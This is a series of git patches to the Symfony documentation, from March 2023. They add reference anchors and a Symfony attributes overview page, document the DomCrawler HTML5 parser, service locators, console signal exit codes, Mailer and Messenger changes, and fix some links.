 Now, keep the previous route configuration, but change the arguments of the
 controller action. Instead of ``string $slug``, add ``BlogPost $post``::
@@ -984,8 +984,9 @@ this case), the "param converter" makes a database request to find the object
 using the request parameters (``slug`` in this case). If no object is found,
 Symfony generates a 404 response automatically.
 
-Read the `full param converter documentation`_ to learn about the converters
-provided by Symfony and how to configure them.
+Check out the `Doctrine param conversion documentation <doctrine-entity-value-resolver>`_
+to learn about the ``#[MapEntity]`` attribute that can be used to customize the
+database queries used to fetch the object from the route parameter.
 
 Special Parameters
 ~~~~~~~~~~~~~~~~~~
@@ -2672,5 +2673,4 @@ Learn more about Routing
 
 .. _`PHP regular expressions`: https://www.php.net/manual/en/book.pcre.php
 .. _`PCRE Unicode properties`: https://www.php.net/manual/en/regexp.reference.unicode.php
-.. _`full param converter documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _`FOSJsRoutingBundle`: https://github.com/FriendsOfSymfony/FOSJsRoutingBundle

From 46981e74265af313c8965b13938beaf7008ff196 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 5 Mar 2023 09:47:09 +0100
Subject: [PATCH 4362/7107] [Attributes] Add attributes overview

---
 components/serializer.rst                     |  8 ++
 console.rst                                   |  6 +-
 event_dispatcher.rst                          |  2 +
 reference/attributes.rst                      | 77 +++++++++++++++++++
 reference/map.rst.inc                         |  1 +
 serializer.rst                                |  2 +
 service_container.rst                         |  2 +
 service_container/autowiring.rst              |  2 +
 .../service_subscribers_locators.rst          |  4 +
 service_container/tags.rst                    |  4 +
 10 files changed, 106 insertions(+), 2 deletions(-)
 create mode 100644 reference/attributes.rst

diff --git a/components/serializer.rst b/components/serializer.rst
index 347d04dd72f..4034de81a5e 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -465,6 +465,8 @@ If some serialization groups are set, only attributes allowed by those groups ca
 
 As for groups, attributes can be selected during both the serialization and deserialization process.
 
+.. _serializer_ignoring-attributes:
+
 Ignoring Attributes
 -------------------
 
@@ -677,6 +679,8 @@ processes::
     $anne = $normalizer->denormalize(['first_name' => 'Anne'], 'Person');
     // Person object with firstName: 'Anne'
 
+.. _serializer_name-conversion:
+
 Configure name conversion using metadata
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1436,6 +1440,8 @@ having unique identifiers::
     var_dump($serializer->serialize($org, 'json'));
     // {"name":"Les-Tilleuls.coop","members":[{"name":"K\u00e9vin", organization: "Les-Tilleuls.coop"}]}
 
+.. _serializer_handling-serialization-depth:
+
 Handling Serialization Depth
 ----------------------------
 
@@ -1751,6 +1757,8 @@ will be thrown. The type enforcement of the properties can be disabled by settin
 the serializer context option ``ObjectNormalizer::DISABLE_TYPE_ENFORCEMENT``
 to ``true``.
 
+.. _serializer_interfaces-and-abstract-classes:
+
 Serializing Interfaces and Abstract Classes
 -------------------------------------------
 
diff --git a/console.rst b/console.rst
index 256cfc5d403..1e13234ecd0 100644
--- a/console.rst
+++ b/console.rst
@@ -217,6 +217,8 @@ available in the ``configure()`` method::
         }
     }
 
+.. _console_registering-the-command:
+
 Registering the Command
 ~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -548,13 +550,13 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
         $application->setAutoExit(false);
 
         $tester = new ApplicationTester($application);
-        
+
 
 .. caution::
 
     When testing ``InputOption::VALUE_NONE`` command options, you must pass an
     empty value to them::
-    
+
         $commandTester = new CommandTester($command);
         $commandTester->execute(['--some-option' => '']);
 
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 434d0f409e3..7f9adf284bc 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -143,6 +143,8 @@ listener class:
        method (which makes event listeners invokable);
     #. If the ``__invoke()`` method is not defined either, throw an exception.
 
+.. _event-dispatcher_event-listener-attributes:
+
 Defining Event Listeners with PHP Attributes
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/attributes.rst b/reference/attributes.rst
new file mode 100644
index 00000000000..98404e5c9f2
--- /dev/null
+++ b/reference/attributes.rst
@@ -0,0 +1,77 @@
+.. index::
+    single: Attributes
+
+Symfony Attributes Overview
+===========================
+
+Attributes are the successor of annotation since PHP 8. Attributes are native
+to the language and Symfony takes full advantage of them across the framework
+ans its different components.
+
+Doctrine Bridge
+~~~~~~~~~~~~~~~
+
+* :doc:`UniqueEntity </reference/constraints/UniqueEntity>`
+
+Command
+~~~~~~~
+
+* :ref:`AsCommand <console_registering-the-command>`
+
+Contracts
+~~~~~~~~~
+
+* :ref:`Required <autowiring-calls>`
+* :ref:`SubscribedService <service-subscribers-service-subscriber-trait>`
+
+Dependency Injection
+~~~~~~~~~~~~~~~~~~~~
+
+* :ref:`AsTaggedItem <tags_as-tagged-item>`
+* :ref:`Autoconfigure <lazy-services_configuration>`
+* :ref:`AutoconfigureTag <di-instanceof>`
+* :ref:`TaggedIterator <tags_reference-tagged-services>`
+* :ref:`TaggedLocator <service-subscribers-locators_defining-service-locator>`
+* :ref:`Target <autowiring-multiple-implementations-same-type>`
+* :ref:`When <service-container_limiting-to-env>`
+
+EventDispatcher
+~~~~~~~~~~~~~~~
+
+* :ref:`AsEventListener <event-dispatcher_event-listener-attributes>`
+
+HttpKernel
+~~~~~~~~~~
+
+* :doc:`AsController </controller/service>`
+
+Messenger
+~~~~~~~~~
+
+* :ref:`AsMessageHandler <messenger-handler>`
+
+Routing
+~~~~~~~
+
+* :doc:`Route </routing>`
+
+Security
+~~~~~~~~
+
+* :ref:`CurrentUser <security-json-login>`
+
+Serializer
+~~~~~~~~~~
+
+* :ref:`Context <serializer_serializer-context>`
+* :ref:`DiscriminatorMap <serializer_interfaces-and-abstract-classes>`
+* :ref:`Groups <component-serializer-attributes-groups-annotations>`
+* :ref:`Ignore <serializer_ignoring-attributes>`
+* :ref:`MaxDepth <serializer_handling-serialization-depth>`
+* :ref:`SerializedName <serializer_name-conversion>`
+
+Validator
+~~~~~~~~~
+
+Each validation constraint comes with a PHP attribute. See
+:doc:`/reference/constraints` for a full list of validation constraints.
diff --git a/reference/map.rst.inc b/reference/map.rst.inc
index 2be47a8a0b0..0943b43dda9 100644
--- a/reference/map.rst.inc
+++ b/reference/map.rst.inc
@@ -36,4 +36,5 @@ Others
 * :doc:`Configuring the Kernel </reference/configuration/kernel>`
 * :doc:`Twig Extensions (forms, filters, tags, etc) Reference </reference/twig_reference>`
 * :doc:`/reference/dic_tags`
+* :doc:`Symfony Attributes Overview </reference/attributes>`
 * :doc:`/reference/events`
diff --git a/serializer.rst b/serializer.rst
index 0a1409de2b5..d02dc302e56 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -99,6 +99,8 @@ possible to set the priority of the tag in order to decide the matching order.
     ``DateTime`` or ``DateTimeImmutable`` classes to avoid excessive memory
     usage and exposing internal details.
 
+.. _serializer_serializer-context:
+
 Serializer Context
 ------------------
 
diff --git a/service_container.rst b/service_container.rst
index c9628c19628..5b2321bfbaa 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -242,6 +242,8 @@ each time you ask for it.
     If you'd prefer to manually wire your service, that's totally possible: see
     :ref:`services-explicitly-configure-wire-services`.
 
+.. _service-container_limiting-to-env:
+
 Limiting Services to a specific Symfony Environment
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 86010b94bc9..0d0a3d27398 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -398,6 +398,8 @@ dealing with the ``TransformerInterface``.
 
     The support of union and intersection types was introduced in Symfony 5.4.
 
+.. _autowiring-multiple-implementations-same-type:
+
 Dealing with Multiple Implementations of the Same Type
 ------------------------------------------------------
 
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index e60cb8686b0..d7d59984032 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -243,6 +243,8 @@ service type to a service.
     The ``key`` attribute can be omitted if the service name internally is the
     same as in the service container.
 
+.. _service-subscribers-locators_defining-service-locator:
+
 Defining a Service Locator
 --------------------------
 
@@ -695,6 +697,8 @@ attribute to the locator service defining the name of this custom method:
     going to be used, a configuration key (``key`` in the example above) must
     be set so the custom method may be called as a fallback.
 
+.. _service-subscribers-service-subscriber-trait:
+
 Service Subscriber Trait
 ------------------------
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index d948dde300b..7c8947c2e6b 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -571,6 +571,8 @@ than one tag. You tag a service twice or more with the ``app.mail_transport``
 tag. The second ``foreach`` loop iterates over the ``app.mail_transport``
 tags set for the current service and gives you the attributes.
 
+.. _tags_reference-tagged-services:
+
 Reference Tagged Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1013,6 +1015,8 @@ array element. For example, to retrieve the ``handler_two`` handler::
                 ;
             };
 
+.. _tags_as-tagged-item:
+
 The ``#[AsTaggedItem]`` attribute
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From a2c8fa0d39ff27b33d9b95952971807c66e6b2dd Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 6 Mar 2023 13:49:15 +0100
Subject: [PATCH 4363/7107] [DomCrawler] Give choice of used parser

---
 components/dom_crawler.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 9bdeed9c8ae..b7f68f1a89f 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -651,8 +651,28 @@ another given base URI::
     UriResolver::resolve('?a=b', 'http://localhost/bar#foo'); // http://localhost/bar?a=b
     UriResolver::resolve('../../', 'http://localhost/'); // http://localhost/
 
+Using a HTML5 Parser
+~~~~~~~~~~~~~~~~~~~~
+
+You can specify to the :class:`Symfony\\Component\\DomCrawler\\Crawler` to use
+an HTML5 parser when instantiating it by setting the ``useHtml5Parser`` constructor
+argument to ``true``::
+
+    use Symfony\Component\DomCrawler\Crawler;
+
+    $crawler = new Crawler(null, $uri, useHtml5Parser: true);
+
+By doing do, the crawler will use the parser from the `masterminds/html5`_ library internally to parse
+documents.
+
+.. versionadded:: 6.3
+
+    The ``useHtml5Parser`` argument was introduced in Symfony 6.3.
+
 Learn more
 ----------
 
 * :doc:`/testing`
 * :doc:`/components/css_selector`
+
+.. _`masterminds/html5`: https://packagist.org/packages/masterminds/html5

From 419b0247f70b048f735f53afadfbc61b3ae89705 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 Mar 2023 15:31:59 +0100
Subject: [PATCH 4364/7107] Minor tweak

---
 components/dom_crawler.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index b7f68f1a89f..40a032fdfa6 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -654,16 +654,15 @@ another given base URI::
 Using a HTML5 Parser
 ~~~~~~~~~~~~~~~~~~~~
 
-You can specify to the :class:`Symfony\\Component\\DomCrawler\\Crawler` to use
-an HTML5 parser when instantiating it by setting the ``useHtml5Parser`` constructor
-argument to ``true``::
+If you need the :class:`Symfony\\Component\\DomCrawler\\Crawler` to use an HTML5
+parser, set its ``useHtml5Parser`` constructor argument to ``true``::
 
     use Symfony\Component\DomCrawler\Crawler;
 
     $crawler = new Crawler(null, $uri, useHtml5Parser: true);
 
-By doing do, the crawler will use the parser from the `masterminds/html5`_ library internally to parse
-documents.
+By doing do, the crawler will use the HTML5 parser provided by the `masterminds/html5`_
+library to parse the documents.
 
 .. versionadded:: 6.3
 

From 9a6f38fb1c9f18c1f36fee060f21d9b5e2d85c20 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Mon, 6 Mar 2023 16:00:31 +0100
Subject: [PATCH 4365/7107] Improve description of ad hoc containers

---
 .../service_subscribers_locators.rst          | 98 +++++++++----------
 1 file changed, 45 insertions(+), 53 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index cc5d5482d63..c301e172e55 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -25,24 +25,22 @@ to handle their respective command when it is asked for::
     class CommandBus
     {
         /**
-         * @var CommandHandler[]
+         * @param CommandHandler[] $handlerMap
          */
-        private $handlerMap;
-
-        public function __construct(array $handlerMap)
-        {
-            $this->handlerMap = $handlerMap;
+        public function __construct(
+            private array $handlerMap,
+        ) {
         }
 
         public function handle(Command $command)
         {
             $commandClass = get_class($command);
 
-            if (!isset($this->handlerMap[$commandClass])) {
+            if (!$handler = $this->handlerMap[$commandClass] ?? null) {
                 return;
             }
 
-            return $this->handlerMap[$commandClass]->handle($command);
+            return $handler->handle($command);
         }
     }
 
@@ -67,8 +65,7 @@ Defining a Service Subscriber
 
 First, turn ``CommandBus`` into an implementation of :class:`Symfony\\Contracts\\Service\\ServiceSubscriberInterface`.
 Use its ``getSubscribedServices()`` method to include as many services as needed
-in the service subscriber and change the type hint of the container to
-a PSR-11 ``ContainerInterface``::
+in the service subscriber::
 
     // src/CommandBus.php
     namespace App;
@@ -80,11 +77,9 @@ a PSR-11 ``ContainerInterface``::
 
     class CommandBus implements ServiceSubscriberInterface
     {
-        private $locator;
-
-        public function __construct(ContainerInterface $locator)
-        {
-            $this->locator = $locator;
+        public function __construct(
+            private ContainerInterface $locator,
+        ) {
         }
 
         public static function getSubscribedServices(): array
@@ -114,8 +109,12 @@ a PSR-11 ``ContainerInterface``::
     can also manually add the ``container.service_subscriber`` tag.
 
 The injected service is an instance of :class:`Symfony\\Component\\DependencyInjection\\ServiceLocator`
-which implements the PSR-11 ``ContainerInterface``, but it is also a callable::
+which implements both the PSR-11 ``ContainerInterface`` and :class:`Symfony\\Contracts\\Service\\ServiceProviderInterface`.
+It is also a callable and a countable::
 
+    // ...
+    $numberOfHandlers = count($this->locator);
+    $nameOfHandlers = array_keys($this->locator->getProvidedServices());
     // ...
     $handler = ($this->locator)($commandClass);
 
@@ -305,15 +304,16 @@ argument of type ``service_locator``.
 Consider the following ``CommandBus`` class where you want to inject
 some services into it via a service locator::
 
-    // src/HandlerCollection.php
+    // src/CommandBus.php
     namespace App;
 
-    use Symfony\Component\DependencyInjection\ServiceLocator;
+    use Psr\Container\ContainerInterface;
 
     class CommandBus
     {
-        public function __construct(ServiceLocator $locator)
-        {
+        public function __construct(
+            private ContainerInterface $locator,
+        ) {
         }
     }
 
@@ -327,14 +327,15 @@ or directly via PHP attributes:
         // src/CommandBus.php
         namespace App;
 
+        use Psr\Container\ContainerInterface;
         use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
-        use Symfony\Component\DependencyInjection\ServiceLocator;
 
         class CommandBus
         {
             public function __construct(
                 // creates a service locator with all the services tagged with 'app.handler'
-                #[TaggedLocator('app.handler')] ServiceLocator $locator
+                #[TaggedLocator('app.handler')]
+                private ContainerInterface $locator,
             ) {
             }
         }
@@ -564,14 +565,14 @@ of the ``key`` tag attribute (as defined in the ``index_by`` locator option):
         // src/CommandBus.php
         namespace App;
 
+        use Psr\Container\ContainerInterface;
         use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
-        use Symfony\Component\DependencyInjection\ServiceLocator;
 
         class CommandBus
         {
             public function __construct(
                 #[TaggedLocator('app.handler', indexAttribute: 'key')]
-                ServiceLocator $locator
+                private ContainerInterface $locator,
             ) {
             }
         }
@@ -645,13 +646,13 @@ Inside this locator you can retrieve services by index using the value of the
     // src/Handler/HandlerCollection.php
     namespace App\Handler;
 
-    use Symfony\Component\DependencyInjection\ServiceLocator;
+    use Psr\Container\ContainerInterface;
 
     class HandlerCollection
     {
-        public function __construct(ServiceLocator $locator)
+        public function getHandlerTwo(ContainerInterface $locator)
         {
-            $handlerTwo = $locator->get('handler_two');
+            return $locator->get('handler_two');
         }
 
         // ...
@@ -684,14 +685,14 @@ attribute to the locator service defining the name of this custom method:
         // src/CommandBus.php
         namespace App;
 
+        use Psr\Container\ContainerInterface;
         use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
-        use Symfony\Component\DependencyInjection\ServiceLocator;
 
         class CommandBus
         {
             public function __construct(
                 #[TaggedLocator('app.handler', 'key', defaultIndexMethod: 'myOwnMethodName')]
-                ServiceLocator $locator
+                private ContainerInterface $locator,
             ) {
             }
         }
@@ -749,7 +750,7 @@ The :class:`Symfony\\Contracts\\Service\\ServiceSubscriberTrait` provides an
 implementation for :class:`Symfony\\Contracts\\Service\\ServiceSubscriberInterface`
 that looks through all methods in your class that are marked with the
 :class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` attribute. It
-provides a ``ServiceLocator`` for the services of each method's return type.
+describes the services needed by the class based on each method's return type.
 The service id is ``__METHOD__``. This allows you to add dependencies to your
 services based on type-hinted helper methods::
 
@@ -907,34 +908,25 @@ Here's an example::
 Testing a Service Subscriber
 ----------------------------
 
-To unit test a service subscriber, you can create a fake ``ServiceLocator``::
+To unit test a service subscriber, you can create a fake container::
 
-    use Symfony\Component\DependencyInjection\ServiceLocator;
+    use Symfony\Contracts\Service\ServiceLocatorTrait;
+    use Symfony\Contracts\Service\ServiceProviderInterface;
 
-    $container = new class() extends ServiceLocator {
-        private $services = [];
+    // Create the fake services
+    $foo = new stdClass();
+    $bar = new stdClass();
+    $bar->foo = $foo;
 
-        public function __construct()
-        {
-            parent::__construct([
-                'foo' => function () {
-                    return $this->services['foo'] = $this->services['foo'] ?? new stdClass();
-                },
-                'bar' => function () {
-                    return $this->services['bar'] = $this->services['bar'] ?? $this->createBar();
-                },
-            ]);
-        }
-
-        private function createBar()
-        {
-            $bar = new stdClass();
-            $bar->foo = $this->get('foo');
-
-            return $bar;
-        }
+    // Create the fake container
+    $container = new class([
+        'foo' => fn () => $foo,
+        'bar' => fn () => $bar,
+    ]) implements ServiceProviderInterface {
+        use ServiceLocatorTrait;
     };
 
+    // Create the service subscriber
     $serviceSubscriber = new MyService($container);
     // ...
 

From f5cb7e064a932621f62b5e4e37d31ee20479c9a6 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Mon, 6 Mar 2023 22:40:13 +0100
Subject: [PATCH 4366/7107] [Validator] remove mention require php 8.1

---
 reference/constraints/All.rst          | 1 -
 reference/constraints/AtLeastOneOf.rst | 1 -
 reference/constraints/Collection.rst   | 1 -
 reference/constraints/Sequentially.rst | 1 -
 4 files changed, 4 deletions(-)

diff --git a/reference/constraints/All.rst b/reference/constraints/All.rst
index 30d71bbebfc..7fb1428bab7 100644
--- a/reference/constraints/All.rst
+++ b/reference/constraints/All.rst
@@ -25,7 +25,6 @@ entry in that array:
 
         use Symfony\Component\Validator\Constraints as Assert;
 
-        // IMPORTANT: nested attributes require PHP 8.1 or higher
         class User
         {
             #[Assert\All([
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index 8b400c66dd1..e3402c23b02 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -29,7 +29,6 @@ The following constraints ensure that:
 
         use Symfony\Component\Validator\Constraints as Assert;
 
-        // IMPORTANT: nested attributes requires PHP 8.1 or higher
         class Student
         {
             #[Assert\AtLeastOneOf([
diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index 7ad50771226..97211354616 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -58,7 +58,6 @@ following:
 
         use Symfony\Component\Validator\Constraints as Assert;
 
-        // IMPORTANT: nested attributes requires PHP 8.1 or higher
         class Author
         {
             #[Assert\Collection(
diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index 09fed581d25..950b5e81426 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -44,7 +44,6 @@ You can validate each of these constraints sequentially to solve these issues:
         use App\Validator\Constraints as AcmeAssert;
         use Symfony\Component\Validator\Constraints as Assert;
 
-        // IMPORTANT: nested attributes requires PHP 8.1 or higher
         class Place
         {
             #[Assert\Sequentially([

From 731684ae5ec5e57fb942a90d7860e3bfad5d1805 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Mon, 6 Mar 2023 22:54:29 +0100
Subject: [PATCH 4367/7107] minor fix ci

---
 doctrine/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 8769c44211d..65f48d46047 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -164,7 +164,7 @@ listener in the Symfony application by creating a new service for it and
 
 .. configuration-block::
 
-    .. code-block:: attribute
+    .. code-block:: php-attributes
 
         // src/App/EventListener/SearchIndexer.php
         namespace App\EventListener;

From faf1e52ac92fdcf2758a8f3eb21b62aa14d9651f Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Mon, 6 Mar 2023 23:35:34 +0100
Subject: [PATCH 4368/7107] [Mailer] remove bcc for signed messages

---
 mailer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index be0414c3f56..013aca95878 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1043,6 +1043,12 @@ using for example OpenSSL or obtained at an official Certificate Authority (CA).
 The email recipient must have the CA certificate in the list of trusted issuers
 in order to verify the signature.
 
+.. caution::
+
+    If you use message signature, sending to ``Bcc`` will be removed from the
+    message. If you need to send a message to multiple recipients, you need 
+    to compute a new signature for each recipient.
+
 S/MIME Signer
 .............
 

From 2696122a4ff49bbbb7b5192cf45c6ed7ae3acf19 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 7 Mar 2023 06:26:09 +0100
Subject: [PATCH 4369/7107] minor

---
 mailer.rst | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index a8873f1127a..4ad55b72f85 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -222,7 +222,7 @@ OhMySMTP             ohmysmtp+smtp://API_TOKEN@default                    n/a
     revokes your App Passwords when you change your Google Account password and then
     you need to generate a new one.
     Using other methods (like ``XOAUTH2`` or the ``Gmail API``) are not supported currently.
-    You should use Gmail for testing purposes only and use a real provider in production. 
+    You should use Gmail for testing purposes only and use a real provider in production.
 
 .. tip::
 
@@ -1046,7 +1046,7 @@ in order to verify the signature.
 .. caution::
 
     If you use message signature, sending to ``Bcc`` will be removed from the
-    message. If you need to send a message to multiple recipients, you need 
+    message. If you need to send a message to multiple recipients, you need
     to compute a new signature for each recipient.
 
 S/MIME Signer
@@ -1560,7 +1560,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
             $client->request('GET', '/mail/send');
             $this->assertResponseIsSuccessful();
 
-            $this->assertEmailCount(1);
+            $this->assertEmailCount(1); // use assertQueuedEmailCount() when using Messenger
 
             $email = $this->getMailerMessage();
 
@@ -1583,7 +1583,5 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`App Password`: https://support.google.com/accounts/answer/185833
 
-.. tip::
 
-    If you're using Messenger you should use ``$this->assertQueuedEmailCount(1);`` instead.
-    
+

From c2b56fe6194eae5fbefd6a678fb4e7d8eca2f65a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 4 Mar 2023 08:09:56 +0100
Subject: [PATCH 4370/7107] [Console] Add support for managing exit code while
 handling signals

---
 components/console/events.rst | 30 +++++++++++++++++++++++++++++-
 1 file changed, 29 insertions(+), 1 deletion(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index 87b44f56407..d08374d90f2 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -178,11 +178,31 @@ Listeners receive a
         // gets the signal number
         $signal = $event->getHandlingSignal();
 
+        // sets the exit code
+        $event->setExitCode(0);
+
         if (\SIGINT === $signal) {
             echo "bye bye!";
         }
     });
 
+It is also possible to abort the exit if you want the command to continue its
+execution even after the event has been dispatched, thanks to the
+:method:`Symfony\\Component\\Console\\Event\\ConsoleSignalEvent::abortExit`
+method::
+
+    use Symfony\Component\Console\ConsoleEvents;
+    use Symfony\Component\Console\Event\ConsoleSignalEvent;
+
+    $dispatcher->addListener(ConsoleEvents::SIGNAL, function (ConsoleSignalEvent $event) {
+        $event->abortExit();
+    });
+
+.. versionadded:: 6.3
+
+    The ``setExitCode()``, ``getExitCode()`` and ``abortExit()`` methods were introduced
+    in Symfony 6.3.
+
 .. tip::
 
     All the available signals (``SIGINT``, ``SIGQUIT``, etc.) are defined as
@@ -208,13 +228,17 @@ handle signals themselves. To do so, implement the
             return [\SIGINT, \SIGTERM];
         }
 
-        public function handleSignal(int $signal): void
+        public function handleSignal(int $signal): int|false
         {
             if (\SIGINT === $signal) {
                 // ...
             }
 
             // ...
+
+            // return an integer to set the exit code, or
+            // false to continue normal execution
+            return 0;
         }
     }
 
@@ -228,6 +252,10 @@ handle all signals e.g. to do some tasks before terminating the command.
     ``SIGUSR2``) would terminate the script by calling ``exit(0)``. Starting
     from Symfony 6.3, no more signal is automatically calling ``exit(0)``.
 
+.. deprecated:: 6.3
+
+    Not returning a value in ``handleSignal()`` is deprecated since Symfony 6.3.
+
 .. _`reserved exit codes`: https://www.tldp.org/LDP/abs/html/exitcodes.html
 .. _`Signals`: https://en.wikipedia.org/wiki/Signal_(IPC)
 .. _`constants of the PCNTL PHP extension`: https://www.php.net/manual/en/pcntl.constants.php

From a8a792e3aee8b40d26c026a3f6681cb1de6a2702 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 7 Mar 2023 14:22:44 +0100
Subject: [PATCH 4371/7107] [Messenger] add `WorkerMessageRetriedEvent`

---
 messenger.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 8769d28e579..90292aa6574 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2563,12 +2563,13 @@ In addition to middleware, Messenger also dispatches several events. You can
 :doc:`create an event listener </event_dispatcher>` to hook into various parts
 of the process. For each, the event class is the event name:
 
-* :class:`Symfony\\Component\\Messenger\\Event\\WorkerStartedEvent`
-* :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageReceivedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\SendMessageToTransportsEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageFailedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageHandledEvent`
+* :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageReceivedEvent`
+* :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageRetriedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerRunningEvent`
+* :class:`Symfony\\Component\\Messenger\\Event\\WorkerStartedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerStoppedEvent`
 
 Multiple Buses, Command & Event Buses

From e9e57d268a345a6aafff3b2947444ee97f130cea Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Tue, 7 Mar 2023 19:41:06 +0100
Subject: [PATCH 4372/7107] [Routing] Fix broken link

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 6a5fb801c34..e5069980974 100644
--- a/routing.rst
+++ b/routing.rst
@@ -984,7 +984,7 @@ this case), the "param converter" makes a database request to find the object
 using the request parameters (``slug`` in this case). If no object is found,
 Symfony generates a 404 response automatically.
 
-Check out the `Doctrine param conversion documentation <doctrine-entity-value-resolver>`_
+Check out the :ref:`Doctrine param conversion documentation <doctrine-entity-value-resolver>`
 to learn about the ``#[MapEntity]`` attribute that can be used to customize the
 database queries used to fetch the object from the route parameter.
 

From fb406777a754a541874fdff6fe8664754a0e027c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 8 Mar 2023 11:01:34 +0100
Subject: [PATCH 4373/7107] Rename context

---
 components/serializer.rst              | 6 +++---
 serializer.rst                         | 2 +-
 serializer/custom_context_builders.rst | 2 +-
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 8a8449330e1..50e327554ee 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -232,7 +232,7 @@ data.
 Context
 -------
 
-Many Serializer features can be configured :doc:`using a context </serializer#serializer-context>`.
+Many Serializer features can be configured :doc:`using a context </serializer#serializer_serializer-context>`.
 
 .. _component-serializer-attributes-groups:
 
@@ -1093,7 +1093,7 @@ always as a collection.
     changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES``
     key of the ``$defaultContext`` of the ``XmlEncoder`` constructor or
     directly to the ``$context`` argument of the ``encode()`` method::
-    
+
         $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]);
 
 The ``XmlEncoder`` Context Options
